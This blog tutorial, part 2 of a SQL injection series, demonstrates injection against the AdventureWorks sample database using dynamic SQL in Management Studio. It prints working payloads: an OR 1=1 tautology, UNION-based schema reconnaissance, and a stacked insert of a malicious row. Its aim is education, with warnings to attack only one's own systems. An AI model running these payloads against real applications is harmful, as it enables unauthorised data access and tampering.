SQL Injection, Part 2 of 8: My First SQL Injection

So, hopefully part 1 of this series impressed upon you the gravity of the situation.  Now, we’re going to have some fun…  As a reminder of the law, don’t perform these operations on networks which are not yours or to which you lack specific permission to attack.  Do it on your own computer on your own time, but don’t go looking out vulnerable websites…

In this particular post, I’m going to look at how to set up and trigger a SQL injection attack.  My database of choice will be Adventure Works, because every demonstration must take place in there.  It’s a SQL Server guild rule or something.  Before doing anything, take a backup of your SQL Server database.  That way, when we’re all done, you can just restore from the backup and your database is good as new again.

BACKUP DATABASE [AdventureWorks] TO  DISK = N'C:\Databases\Backups\AdventureWorks.bak'

So, let’s think of an extremely basic website.  I’ll go into much more detail on websites in parts 5 and 6 of this series, but for now, we’ll think of a very basic grid:  a list of product subcategories from Production.ProductSubcategory.  In addition to this very basic grid, we’ll imagine a name filter where you type in a partial name and the grid displays the relevant items.  The way it does this is by building an ad hoc SQL query that may look a little like:

select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory where Name like '%' + @Filter + '%'

To give us a solid example, let’s fill in the details for @Filter in Management Studio:

declare @Filter nvarchar(50);
set @Filter = 'Bike';

select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory where Name like '%' + @Filter + '%'
Product subcategories from the Adventure Works database

Product subcategories from the Adventure Works database.

This is an easy query which works just fine.  Unfortunately, when implemented as an ad hoc query, it is susceptible to SQL injection attacks.  And now it’s time to show exactly how we can do that.

To pull off a SQL injection attack, you just need to comment out the rest of the legitimate query and put your query in where the developer was expecting a parameter.  In the above case, let’s change @Filter to read ‘Bike” OR  1 = 1–‘.  So, we put in our text and…wait, what?

A failed attempt at SQL injection

A failed attempt at SQL injection.

In this case, we tried to run this attack, but it got us nowhere.  The reason is that this is a static query, so there is no way to get “outside” of the parameter and influence the rest of the query.  As long as you are running this from within Management Studio, you are safe.  Unfortunately, if you’re doing this on a website, you aren’t running it from within Management Studio, and so this method is not safe.

In our contrived example, we can use a SqlDataReader on our ASP.NET web application (which I’ll show in parts 3 and 4) and set the query to what we have above.  To replicate this in Management Studio, we’ll actually need to use dynamic SQL.  When you switch to a dynamic SQL call, you’ll see rather different results.

declare @Filter nvarchar(50);
set @Filter = 'Bike'' OR 1 = 1--';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);
A successful SQL injection attack

A successful SQL injection attack.

All we did to change this was to turn a static SQL query into a dynamic one, and we’re off to the races.

At this point, you can do a number of things, especially if @Filter is declared as an nvarchar(max) instead of an nvarchar(50).  Let’s switch it to (max) for the purposes of our example and see a couple of things we can do just by changing the filter.

In the first example, I’ll do a little bit of recon and get a list of the tables in this database, to see if there’s anything interesting:

declare @Filter nvarchar(max);
set @Filter = 'i do not care''
				UNION ALL
				select 1, 1, TABLE_SCHEMA + ''.'' + TABLE_NAME from INFORMATION_SCHEMA.TABLES --';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);

Running this will return all of the tables in the AdventureWorks database:

Using a SQL injection attack to list all tables in the current database

Using a SQL injection attack to list all tables in the current database.

You can perform a number of other operations.  I won’t show any screenshots, but the next couple of queries will drill down into getting a product category and then inserting a malicious product subcategory.

--At this point, we know the table that we are hitting, so we want to do some recon.
declare @Filter nvarchar(max);
set @Filter = 'i do not care''
				UNION ALL
				select
					case when IS_NULLABLE = ''NO'' then 0 else 1 end,
					ORDINAL_POSITION,
					COLUMN_NAME + ''; '' + DATA_TYPE
				from INFORMATION_SCHEMA.COLUMNS
				WHERE TABLE_SCHEMA = ''Production'' and TABLE_NAME = ''ProductSubcategory'' --';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);

 

--ProductCategory looks familiar, so we'll look at it to see what the options are.
--First, we must do recon.
declare @Filter nvarchar(max);
set @Filter = 'i do not care''
				UNION ALL
				select
					case when IS_NULLABLE = ''NO'' then 0 else 1 end,
					ORDINAL_POSITION,
					COLUMN_NAME + ''; '' + DATA_TYPE
				from INFORMATION_SCHEMA.COLUMNS
				WHERE TABLE_SCHEMA = ''Production'' and TABLE_NAME = ''ProductCategory'' --';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);

 

--Looking at product categories.  We have the 1 in there to pad out the columns
--so our query has the same number of columns as the main query.
declare @Filter nvarchar(max);
set @Filter = 'i do not care''
				UNION ALL
				select
					1, ProductCategoryID, Name
				from Production.ProductCategory--';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);

 

--We now have enough information to insert data in through this query.
--And the types of people who are susceptible to SQL injection probably
--don't lock down their accounts, so I could do much worse.  Like dropping tables.
declare @Filter nvarchar(max);
set @Filter = 'i do not care'';
				insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate)
				values(4, ''Evil Subcategory'', newid(), current_timestamp);--';

declare @sql nvarchar(max);
set @sql = 'select ProductCategoryID, ProductCategoryID, Name from Production.ProductSubcategory
			where Name like ''%' + @Filter + '%'''
print @sql;
exec(@sql);

In the course of a few queries, we learned enough information (with a couple of logical guesses) to insert an “invalid” subcategory.  In our basic example, I limited it simply to inserting a record, but you could also insert javascript calls which, on an unprotected site, could perform some very bad operations.  Even aside from that, the ability for arbitrary individuals to circumvent any data insertion rules you might have should be plenty scary on its own.

We are able to insert an "evil" record using SQL injection

We are able to insert an "evil" record using SQL injection.

You should play around with this some more and see other things you can do.  Your attacks aren’t even limited to one database, so hit sys.databases and any other management views to perform other nefarious operations.  Then, after you’re done, be sure to restore from backups to clean up the mess you’re making.

In the next part of the series, we’re going to take it to the next level and show exactly how easy it is to perform a SQL injection attack through a website.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s